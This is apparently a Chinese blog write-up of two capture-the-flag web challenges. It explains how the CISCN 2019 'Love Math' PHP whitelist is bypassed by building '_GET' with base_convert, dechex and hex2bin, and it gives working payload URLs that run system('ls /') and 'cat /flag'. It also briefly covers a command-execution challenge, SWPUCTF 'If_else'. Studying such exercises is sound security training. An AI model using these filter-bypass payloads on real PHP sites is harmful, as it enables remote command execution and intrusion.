NSSCTF-Web题目25(RCE-构造变量)

目录

[CISCN 2019初赛]Love Math

1、题目

2、知识点

3、思路

[SWPUCTF 2023 秋季新生赛]If_else

1、题目

2、知识点

3、思路


[CISCN 2019初赛]Love Math

1、题目

2、知识点

构造变量,进制转换、函数利用

3、思路

打开题目,出现源码

代码的意思:GET方式上传变量c,但长度有限制,不能超过80,然后对输入的字符进行了过滤,有一个函数的白名单,只能用里面的函数

如果我们直接使用system函数,cat flag会被过滤

这里的思路就是利用PHP特性($_GET)构造一个变量

使用到的函数有:

base_convert() 函数:在任意进制之间转换数字

hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符

dechex() 函数:把十进制转换为十六进制

因为白名单只有base_convert,没有hex2bin,所以我们需要进行编码调用base_convert(37907361743,10,36) => "hex2bin"

dechex(1598506324) => "5f474554"  

hex2bin(5f474554)=>"_GET" //hex2bin将一串16进制数转换为二进制字符串

($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]

base_convert(37907361743,10,36)(dechex(1598506324))  =>  _GET ,然后赋给pi变量,也就是pi=_GET,

($$pi){pi}=>$_GET[pi]   (($$pi){abs} =>$_GET[abs]

也是说我们可以在pi变量和abs执行系统命令

构造的payload:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls%20/

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag

得到flag:NSSCTF{664726e2-a73b-4290-85b9-96c0208575d4}


[SWPUCTF 2023 秋季新生赛]If_else

1、题目

2、知识点

命令执行

3、思路

题目给了我们提示,要上传一个check变量,然后访问check.php页面

出现提示的页面,然后这里面没有我们可以上传的点,只有check变量,我们在check变量执行系统命令

得到flag:NSSCTF{512a871a-55dc-4921-8da5-bd2bb6cb89e2}


这篇文章就先记录到这里了,哪里不懂的或者哪里不足的欢迎指出!

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-17 03:36:03       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-17 03:36:03       71 阅读
  3. 在Django里面运行非项目文件

    2024-07-17 03:36:03       58 阅读
  4. Python语言-面向对象

    2024-07-17 03:36:03       69 阅读

热门阅读

  1. hexdump -C 实现

    2024-07-17 03:36:03       23 阅读
  2. 掌握Conda包管理:精通版本控制的艺术

    2024-07-17 03:36:03       20 阅读
  3. 【ubuntu】没有声音??连不上网络???

    2024-07-17 03:36:03       17 阅读
  4. bat 设置防火墙指定ip范围 指定时间段放行访问

    2024-07-17 03:36:03       18 阅读
  5. 微信小程序实现省市区级联选择组件

    2024-07-17 03:36:03       20 阅读
  6. Linux硬件中断(IRQ)的基础知识

    2024-07-17 03:36:03       19 阅读